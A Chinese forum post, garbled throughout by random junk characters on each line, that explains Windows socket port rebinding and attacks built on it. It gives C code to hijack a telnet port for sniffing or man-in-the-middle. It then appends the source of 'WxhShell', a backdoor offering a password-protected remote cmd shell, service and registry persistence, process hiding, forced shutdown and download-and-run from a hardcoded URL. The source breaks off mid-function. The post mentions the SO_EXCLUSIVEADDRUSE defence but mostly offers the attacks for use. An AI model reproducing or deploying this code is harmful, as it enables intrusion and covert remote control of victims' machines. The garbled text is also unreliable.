在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
/2HwK/RZ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dIO\ lL
}UGPEf\ saddr.sin_family = AF_INET;
+Kq>r|; 74Q?%X saddr.sin_addr.s_addr = htonl(INADDR_ANY);
2|%30i,vV ;*Z
w}51 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Y5MHd>m m'qMcCE 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
^m1Rw| .X2mEnh 这意味着什么?意味着可以进行如下的攻击:
c>UITM=!I
2CxdNj 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
?|hzAF"U e#'`I^8l 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
KFV]2mFN wqGZkFg1 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
2tr2:PB` pb{P[-f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5e2mEQU> [
objdQU` 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
^5T{x>Lj _ _)Z Q 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
IeU.T@ $ x9_ Lt4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
H7SqM D*y9 +Zr03B #include
zIo))L #include
mtOrb9`m #include
D\`$ #include
W;-Qze\D DWORD WINAPI ClientThread(LPVOID lpParam);
u%h<5WNh< int main()
_+;x4K; {
z{n=G WORD wVersionRequested;
r\NnWS J DWORD ret;
J5o"JRJ" WSADATA wsaData;
So8P8TCK BOOL val;
_&z>Id`w SOCKADDR_IN saddr;
sJ?kp^!g SOCKADDR_IN scaddr;
W"Rii]GK" int err;
O.$<Bf9
SOCKET s;
nu3 A'E`'k SOCKET sc;
'QV4=h` int caddsize;
~0}eNz* HANDLE mt;
'qM3.U DWORD tid;
q(r2\ wVersionRequested = MAKEWORD( 2, 2 );
p5H Mg\hT err = WSAStartup( wVersionRequested, &wsaData );
*"4<&F
S if ( err != 0 ) {
Rxli;blzi printf("error!WSAStartup failed!\n");
U=yD! return -1;
0?:ZER v }
]t=># saddr.sin_family = AF_INET;
u3ZG;ykM
Fu`g)#Z //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
I&xRK' e!-'O0-Kw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
HIU@m< saddr.sin_port = htons(23);
|-|BM'Y if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
A|&EI-In {
VC+\RB#:- printf("error!socket failed!\n");
;|^fAc~9{r return -1;
*@ o3{0[Z }
@1+/r?b val = TRUE;
WIGb7}egR //SO_REUSEADDR选项就是可以实现端口重绑定的
?SAi tQ3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
fBF}-{VX( {
vK{K#{ printf("error!setsockopt failed!\n");
"_l[4o[D return -1;
0PfFli`2; }
]d[q:N]z //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
+|?c_vD //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
|s^ar8)=) //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
vLke,MKW fU}w81oe if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
i!HGM=f {
Lf-8G5G ret=GetLastError();
# SXXYh-e printf("error!bind failed!\n");
B%pvk.` return -1;
Ov|j{}=L=9 }
b?^n'0 listen(s,2);
w#1dO~ while(1)
t}tKm {
4Klfnki caddsize = sizeof(scaddr);
l>iU Q&V //接受连接请求
@bx2= sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
m\>x_:sE if(sc!=INVALID_SOCKET)
x -!FS h8q {
?gtkf[0B| mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
fkG8,= if(mt==NULL)
,J^Op
{
FX^E | printf("Thread Creat Failed!\n");
*O5+?J Z! break;
$>UzXhf}\ }
ayD\b6Z2. }
5Z[D(z CloseHandle(mt);
}B-A*TI<h }
T82_`u closesocket(s);
pUr[MnQLf WSACleanup();
-0`hJ_( return 0;
x\DkS,O }
m&q;.|W DWORD WINAPI ClientThread(LPVOID lpParam)
FCWphpz {
rA`\we) SOCKET ss = (SOCKET)lpParam;
.T|NB8 rS SOCKET sc;
0- UeFy unsigned char buf[4096];
"v1(f| a SOCKADDR_IN saddr;
q T].,? long num;
D'h2 DP! DWORD val;
6{
Nbe= DWORD ret;
[1C#[Vla //如果是隐藏端口应用的话,可以在此处加一些判断
XbC8t &Q], //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
&J b.OCf saddr.sin_family = AF_INET;
7N"Bbl saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
["}A#cO652 saddr.sin_port = htons(23);
Cf7\>U-> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
x\rZoF.NQ {
UjaC( c printf("error!socket failed!\n");
~^S- return -1;
|DW'RopM }
]S L&x:/- val = 100;
76b7-Nj" if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
1Tq$ E[ {
)9r%% # ret = GetLastError();
1Q5<6*QL" return -1;
dx}/#jMa }
IJ8DN@w9 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:RsPGj6 {
cPcV[6)5K9 ret = GetLastError();
C=IH#E= return -1;
S nHAY< }
l5[xJH if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
".%LBs~$ {
;ZJ,l)BNO printf("error!socket connect failed!\n");
PHvjsA%" closesocket(sc);
/09=Tyy/\ closesocket(ss);
\6 hL W_q1 return -1;
`5Btg.
& }
hD1AK+y while(1)
Wts{tb {
`4bd, //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
(J&Xo.<Z- //如果是嗅探内容的话,可以再此处进行内容分析和记录
mM*yv //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
lrhAO"/1
num = recv(ss,buf,4096,0);
k+[KD >;1 if(num>0)
+c a296^ send(sc,buf,num,0);
-ZP&zOsDr else if(num==0)
%g&,]=W\N break;
u;Eu<jU1 num = recv(sc,buf,4096,0);
prN(V1O if(num>0)
U.U.\ send(ss,buf,num,0);
es[5B* 5 else if(num==0)
K eI:/2 break;
CLEG'bZa, }
cJEz>Z6[ closesocket(ss);
dyzwJ70K closesocket(sc);
}+
2"?f|] return 0 ;
~8t}*oV }
l;*lPRoW, 1bg@[YN!; \GvY`kt3 ==========================================================
AvE^
F1 8(5E<&JP 下边附上一个代码,,WXhSHELL
`^L<db^A \>Rwg=Lh ==========================================================
H?j-=Zka 9>3Ltnn0 #include "stdafx.h"
sBtG}Mo) MQ(/l_=zQ #include <stdio.h>
W 8$=a #include <string.h>
i?>>
9f@F #include <windows.h>
CQ.4,S}6' #include <winsock2.h>
Kxc$wN< #include <winsvc.h>
x}<G!*3 #include <urlmon.h>
`A'I/Hf5 v^W?o}W #pragma comment (lib, "Ws2_32.lib")
IIQ3|eZ #pragma comment (lib, "urlmon.lib")
v*~%x CY3 \:D0I #define MAX_USER 100 // 最大客户端连接数
8[1DO1*P #define BUF_SOCK 200 // sock buffer
mK40 f #define KEY_BUFF 255 // 输入 buffer
^la i!uZVa LnTe_Q7_ #define REBOOT 0 // 重启
90iW-"l+[ #define SHUTDOWN 1 // 关机
l ~4e2xoT /;nO<X:XV #define DEF_PORT 5000 // 监听端口
N~}v:rK>g V\K
m% vP #define REG_LEN 16 // 注册表键长度
;D"P9b]9$ #define SVC_LEN 80 // NT服务名长度
s$>m0^ "gN* J)!x // 从dll定义API
R%N#G<^R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
V> a3V' typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
{<}I9D5 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
CDW(qq-zD typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
EB2^]? [wio/wc // wxhshell配置信息
).+xcv struct WSCFG {
t7oz9fSz=? int ws_port; // 监听端口
O&gwr char ws_passstr[REG_LEN]; // 口令
9[p}.9/ int ws_autoins; // 安装标记, 1=yes 0=no
~I\r1Wj; char ws_regname[REG_LEN]; // 注册表键名
O3C)N
I\i
char ws_svcname[REG_LEN]; // 服务名
_"!{7e`Z char ws_svcdisp[SVC_LEN]; // 服务显示名
|t 65#1 char ws_svcdesc[SVC_LEN]; // 服务描述信息
:*P___S= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
oyN+pFVB:$ int ws_downexe; // 下载执行标记, 1=yes 0=no
ccN &h char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
/cL9?k;o char ws_filenam[SVC_LEN]; // 下载后保存的文件名
FJjF*2 . I6hhU;)C };
;;y@z[ > 0^!,[oh6* // default Wxhshell configuration
i. u15$ struct WSCFG wscfg={DEF_PORT,
R!/,E "xuhuanlingzhe",
4-M6C 5#. 1,
W}R= "Wxhshell",
+wz`_i)! "Wxhshell",
[Yx-l;78 "WxhShell Service",
-wtTq
ph' "Wrsky Windows CmdShell Service",
p*AP 'cR "Please Input Your Password: ",
7o965h 1,
@8M'<tr<z "
http://www.wrsky.com/wxhshell.exe",
tLXn?aNY "Wxhshell.exe"
F@_Egi };
;H
y!0n E%k ]cZ // 消息定义模块
`FYtiv?G char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
Ng."+& char *msg_ws_prompt="\n\r? for help\n\r#>";
o^_W $4Fc char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
4lY&=_K[) char *msg_ws_ext="\n\rExit.";
0l(E!d8&' char *msg_ws_end="\n\rQuit.";
2yJ7]+Jd7Y char *msg_ws_boot="\n\rReboot...";
KtfkE\KP char *msg_ws_poff="\n\rShutdown...";
3)C6OF>7
char *msg_ws_down="\n\rSave to ";
G {pP} dEQReD char *msg_ws_err="\n\rErr!";
|%:qhs, char *msg_ws_ok="\n\rOK!";
)~?S0]j} [al(>Wr9 char ExeFile[MAX_PATH];
C NzSBm int nUser = 0;
cy& HANDLE handles[MAX_USER];
(}*\ { int OsIsNt;
F;?TR[4!k (EOec5qXU SERVICE_STATUS serviceStatus;
Lt;.Nw SERVICE_STATUS_HANDLE hServiceStatusHandle;
~4=]%XYz ,<;l"v( // 函数声明
K4?t' dd] int Install(void);
JO&;bT< int Uninstall(void);
aR="5{en{: int DownloadFile(char *sURL, SOCKET wsh);
{hs2?#p int Boot(int flag);
, `[Z`SUk` void HideProc(void);
Ypn%[sSOp int GetOsVer(void);
>tmnj/=& int Wxhshell(SOCKET wsl);
S<y>Y void TalkWithClient(void *cs);
I5TQ>WJbf int CmdShell(SOCKET sock);
.`p<hA)%[C int StartFromService(void);
CzzUi]*Ac{ int StartWxhshell(LPSTR lpCmdLine);
w|
-0@ lnS\5J VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Eo7 _v VOID WINAPI NTServiceHandler( DWORD fdwControl );
oN&rq6eN <i{m.pR> // 数据结构和表定义
8`AcS|k SERVICE_TABLE_ENTRY DispatchTable[] =
9&[)(On74 {
fR]p+\#8u* {wscfg.ws_svcname, NTServiceMain},
E,*JPK-A x {NULL, NULL}
!~lVv&YO };
3P+4S|@q(4 3xmiX{1e // 自我安装
r%Q8)nEo int Install(void)
.\ ;l-U {
r+[#%%}ea char svExeFile[MAX_PATH];
="5k\1W1M HKEY key;
r/N[7*i strcpy(svExeFile,ExeFile);
tAb;/tM3I Njy9 JX // 如果是win9x系统,修改注册表设为自启动
+X* F<6mZ if(!OsIsNt) {
' D)1ka. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
6o[0sM_]; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
xE G+%Uk{ RegCloseKey(key);
|MOn0* if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Xmf RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
$n=W2WJ6f RegCloseKey(key);
u|_LR5S!j return 0;
Q-!
i$#- }
RlI
W&y }
e/]O<, * }
c{'$=lR " else {
ys&"r":I g^s+C Z // 如果是NT以上系统,安装为系统服务
wq:b j=j SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M(;y~|e if (schSCManager!=0)
['51FulDR {
$?]@_= SC_HANDLE schService = CreateService
F9m 2C'U (
Ur_S
[I schSCManager,
jsk:fh0~M wscfg.ws_svcname,
]6a/0rg:t wscfg.ws_svcdisp,
^G|w8t+^ SERVICE_ALL_ACCESS,
\S=XIf SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|uQn|"U4 SERVICE_AUTO_START,
qO:U]\P SERVICE_ERROR_NORMAL,
{Ior.(D>Y svExeFile,
~&wXXVK3 NULL,
E@5zd@[ NULL,
o
:.~X NULL,
[5]R?bQ0q{ NULL,
4&FNU)tt NULL
07$/]eO%C );
|QnUK5D$ if (schService!=0)
Qv&T E3 {
#W>x\ CloseServiceHandle(schService);
q*HAIw[<y CloseServiceHandle(schSCManager);
lEO?kn.:z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
S2koXg( strcat(svExeFile,wscfg.ws_svcname);
p&k0Rx0Q3 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
6obQ9L c RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
7j@^+rkr3f RegCloseKey(key);
G*)s%2c>h return 0;
zrLhQ3V#> }
YYTO,4 }
&GXtdO>;Zv CloseServiceHandle(schSCManager);
pj!k|F9 }
W@:^aH }
]h #WkcXQ >[Xm|A# return 1;
2.StG(Y! }
WafdE Q;XXgX#l // 自我卸载
fl!mYCPv int Uninstall(void)
#[no~&E {
L\QQjI{ HKEY key;
3M}AxE u '4J&Gp x if(!OsIsNt) {
B*9 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
fswZM\@ RegDeleteValue(key,wscfg.ws_regname);
Eem 2qKj RegCloseKey(key);
Ix( 6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
i
FC"!23f RegDeleteValue(key,wscfg.ws_regname);
=^BqWC2~ RegCloseKey(key);
o8w-$
Qb return 0;
Nawp t% }
$@_YdZ! }
Hm.X}HO0L }
R!sNg else {
n
(OjjRm y.jS{r". SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
QH& %mr.S if (schSCManager!=0)
11i"nR| {
8&?^XcJ*x SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
IJ hxE if (schService!=0)
0w^jls {
I|$'Q$m~ if(DeleteService(schService)!=0) {
WEno+Z~=1' CloseServiceHandle(schService);
%0NL Rfp CloseServiceHandle(schSCManager);
;])I>BT[ return 0;
$`E4m8fX }
V78Mq:7d CloseServiceHandle(schService);
x*:n4FZ7b }
P1dN32H
o CloseServiceHandle(schSCManager);
!?yxh/>lM }
^%-NPo< }
G=vN;e_$_b x2Ha& return 1;
aZ8h[#]7 }
?(]a*~rx l#b:^3 // 从指定url下载文件
4+)Zk$E int DownloadFile(char *sURL, SOCKET wsh)
72`/d` {
ymHKcQ HRESULT hr;
bAUHUPe char seps[]= "/";
oz Vpfs char *token;
2q+la|1Cr char *file;
DKR<W.!*t char myURL[MAX_PATH];
OdO{xG G@ char myFILE[MAX_PATH];
x<8\- X )I/%{ strcpy(myURL,sURL);
rZ pbu>S token=strtok(myURL,seps);
C=8H)Ef,l while(token!=NULL)
cvxIp#FbW {
,&0Z]* file=token;
`$H7KI G token=strtok(NULL,seps);
Xu6jHJ@ x }
JFe4/
V g .3f2w GetCurrentDirectory(MAX_PATH,myFILE);
VIetcs strcat(myFILE, "\\");
"pYe-_"@ strcat(myFILE, file);
,bxz]S1W send(wsh,myFILE,strlen(myFILE),0);
VcP:}a< B\ send(wsh,"...",3,0);
VZ;@S3TS hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
O)l%OOv if(hr==S_OK)
%j%%Rn return 0;
6{L F-`S% else
V!mWn|lf return 1;
ubD#I{~J %@>YNPD`E }
#sL/y 0xv\D0 // 系统电源模块
Yi[4DfA int Boot(int flag)
.a {QA {
H%FM HANDLE hToken;
?b5H
2W TOKEN_PRIVILEGES tkp;
eVTO#R*'| }&mj.hGv if(OsIsNt) {
L+Eu
d OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
9wzwY[{ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
#0(fOHPQ tkp.PrivilegeCount = 1;
<8$Md4r tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
qv.n9 9?] AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
0"4J"q]& if(flag==REBOOT) {
av)?>J~; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Sq<3Rw return 0;
:r\xkHg/f }
(Bsw/wv else {
STw oYn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
bea|?lK return 0;
t~q?lT }
)TM!ms+K }
bZu$0IG else {
L,6MF,vx if(flag==REBOOT) {
6I"C~&dt if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
rj}(muM,R return 0;
D6Dn&/>Zp }
gUspGsfr else {
N_0pO<<cs if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
::ri3Tu return 0;
*aI~W^N3 }
3XnE y
+ }
# 9V'';: RTZ:U@
return 1;
'bl%Y).9w }
lz-
iCZ s88y{o // win9x进程隐藏模块
2g0K76=Co: void HideProc(void)
I-TlrW=t {
,^HS`!s[ E (N7O+3+G HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
.3( ;9}; if ( hKernel != NULL )
_Cj(fFL {
mLQUcYfR pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'\
XsTs#L ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gXF.on4B FreeLibrary(hKernel);
/ xs9.w8- }
.ByU b22LT52 return;
pcNSL'u+ }
kwOeHdV^ y^SyhG,V[ // 获取操作系统版本
;c$@@l int GetOsVer(void)
moaodmt]x {
Wy8,<K{ OSVERSIONINFO winfo;
1c/
X winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K|Om5
p GetVersionEx(&winfo);
tR5tPPw if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
Hl/7(FJqc> return 1;
zs0hXxTY: else
G8noQ_- return 0;
2Sjt=LOc=" }
z$66\/V'] =D}4X1l // 客户端句柄模块
~x\Cmu9` int Wxhshell(SOCKET wsl)
Z~_8P {
g9`[Y~ SOCKET wsh;
XO%~6Us^ struct sockaddr_in client;
*<UGgnmLE DWORD myID;
_Yy:s2I8B [t$4Tdd while(nUser<MAX_USER)
,&[7u9@ {
CB6 o$U int nSize=sizeof(client);
TqAtcAurM wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
(U _wp's if(wsh==INVALID_SOCKET) return 1;
qv$!\ T H }B2A" handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
A*R n<{U if(handles[nUser]==0)
o _(0 closesocket(wsh);
7pP+5&* else
95[wM6?J nUser++;
bb}?h]a }
IqNpLh|[ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
rpSr^slr l^
Rm0t_ return 0;
JCNk\@0i* }
l1|~ }I]W'<jY // 关闭 socket
/h7.oD8CU void CloseIt(SOCKET wsh)
GZ"&L?ti {
ydB$4ZB3[ closesocket(wsh);
)d:K:YXt nUser--;
g#|oif9o ExitThread(0);
obj!I7 }
XddHP;x K0oFPDJN // 客户端请求句柄
qF'~F`6 void TalkWithClient(void *cs)
4~*Y];!Q {
cLAesj 6{8/P'@/Zz SOCKET wsh=(SOCKET)cs;
TW2Z=ks= char pwd[SVC_LEN];
x2@,9OUx char cmd[KEY_BUFF];
$
o"
L;j char chr[1];
SHwRX?
B| int i,j;
yjFe' WcU@~05b while (nUser < MAX_USER) {
O k*Z >T QZk4$ if(wscfg.ws_passstr) {
{\L|s5=yr if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
@C=M
UT-! //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
#52NsVaT@ //ZeroMemory(pwd,KEY_BUFF);
eG4>d^`c i=0;
rFfy#e while(i<SVC_LEN) {
D'nL ?&xlT+JM // 设置超时
K#wK1 Sv fd_set FdRead;
4\HsU9x struct timeval TimeOut;
Z(`r -}f I FD_ZERO(&FdRead);
|(RZ/d<X\a FD_SET(wsh,&FdRead);
"$DldHC TimeOut.tv_sec=8;
c|Y!c!9F TimeOut.tv_usec=0;
R^6Zafp int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
Mi?}S6bp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
m:3J!1 Z7KXWu+6`m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
jq[x DwPG pwd
=chr[0]; ;NP[_2|-,
if(chr[0]==0xd || chr[0]==0xa) { R*\~k%Z
pwd=0; r:NH6tAL
break; _ eiF@G
} Zih ?Bm
i++; :3 y_mf>
} ]-a{IWVN
{xToz]YA
// 如果是非法用户,关闭 socket EHhd;,;O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `m, Ki69.
} `kPc!I7Y
ul=7>";=|
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); u7#z^r
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ]F+K|X9-
G0/>8_Q>Nr
while(1) { 'hF@><sqk
:XYy7xz<
ZeroMemory(cmd,KEY_BUFF); uREu2T2
qtY
m!g
// 自动支持客户端 telnet标准 0+j}};
j=0; Yf=FeH7"
while(j<KEY_BUFF) { -TS?
fne)
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hfv%,,e
cmd[j]=chr[0]; v)+@XU2wZ
if(chr[0]==0xa || chr[0]==0xd) { OpQ8\[X+
cmd[j]=0; eT-9
break; anC+r(jjg9
} `pm>'
j++; 2yxi= XWZ
} VDpxk$a
c3W
BALdh
// 下载文件 CC#C
if(strstr(cmd,"http://")) { kc Y,vl
send(wsh,msg_ws_down,strlen(msg_ws_down),0); HTR1)b
if(DownloadFile(cmd,wsh)) H#Q;"r 3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); M BVOfEMj
else |7c`(.
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @c]Xh:I
} */_@a?
else { Q7(eq0na
CjKRP;5
switch(cmd[0]) { ?bI?GvSh
W_}/ O'l{
// 帮助 '\t7jQ
case '?': { O]ZC+]}/
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); q~O>a0f0
break; 75AslL?t
} 61|B]ei/
// 安装 mf2Mx=oy
case 'i': { p:tN642
if(Install()) km4g}~N</
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9I kUZW
else enumK\
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |^iA6)Q
break; y\z > /q
} 6#|qg*OS
// 卸载 >qpqQ;
bm
case 'r': { \O? u*
if(Uninstall()) > UWStzH<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); +nQ!4
else <T4(H[9B
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a.,i.2
break; G=cNzr9
} OoM_q/oI
// 显示 wxhshell 所在路径 c[:Wf<%|
case 'p': { RH~sbnZ)F
char svExeFile[MAX_PATH]; b{pg!/N4
strcpy(svExeFile,"\n\r"); Hg whe=P
strcat(svExeFile,ExeFile); jb3.W
send(wsh,svExeFile,strlen(svExeFile),0); Spo+@G
break; L|J~9FM
} 9wMEvX70
// 重启 a(|xw
case 'b': { MA6P"?
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [#Fg\2bq_y
if(Boot(REBOOT)) @yKZRwg
send(wsh,msg_ws_err,strlen(msg_ws_err),0); rS,j;8D-
else { ~p.%.b;~t
closesocket(wsh); \JU{xQMB
ExitThread(0); t'aSF{%
} "kr,x3
=
break; :k N5?t=
} )!a$#"'
// 关机 =ybGb7?
case 'd': { zX~}]?|9
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); )S Q('vwg
if(Boot(SHUTDOWN)) 7E(%9W6P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4>_d3_1sn
else { Qi:j)uDW
closesocket(wsh); ~p^7X2% !
ExitThread(0); Qc3?}os2
} pL)xqKj
break; @H+~2;B,
} 9[sG1eP!
// 获取shell 5p
)IV>G
case 's': { +V1}@6k
:
CmdShell(wsh); MWhwMj!:m
closesocket(wsh); 1|/'"9v
ExitThread(0); Rf:<-C0T
break; J#(,0h
} _.=`>%,
// 退出 [TEcg^
case 'x': { Z(UD9wY5m
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); GA ik;R
CloseIt(wsh); 8f-:d]
break; ;dOs0/UM&
} Mciq-c)
// 离开 Y}/c
N\
case 'q': { gVA; `<
send(wsh,msg_ws_end,strlen(msg_ws_end),0); =)*JbwQ
closesocket(wsh); .+vd6Uc5a
WSACleanup(); *]2R.u
exit(1); %A2`&:ip
break; x<
S\D&
} 17i$8
} /x/4NeD
} N]u2ql&
-ek1$y9)
// 提示信息 R'Eq:Rv~;^
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); piuKVU
} doH2R@
} !&JiNn('
}!=U^A)
return; 97 S? ;T
} '=@r7g.2
H+R7X71{
// shell模块句柄 yZ~b+=UM
int CmdShell(SOCKET sock) x
^[F]YU
{ 4oN${7k0
STARTUPINFO si; "Y(^F
bs
ZeroMemory(&si,sizeof(si)); ALAL( f`
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 6g|#ho1Bbs
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pw;r 25
PROCESS_INFORMATION ProcessInfo; f@x_#ov
char cmdline[]="cmd"; \n;g2/VjO
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); mmcdtVe
return 0; _4!{IdR
} &SrGh$:X
UM`nq;>
// 自身启动模式 .HCaXFW
int StartFromService(void) R=Ymo.zs6
{ 5v3RVaqZ
typedef struct eQ\jZ0s;p
{ 2/EK`S
DWORD ExitStatus; ,{+6$h3
DWORD PebBaseAddress; ?rQc<;b
DWORD AffinityMask; Q)T+r~#2B
DWORD BasePriority; /yp/9r@T0
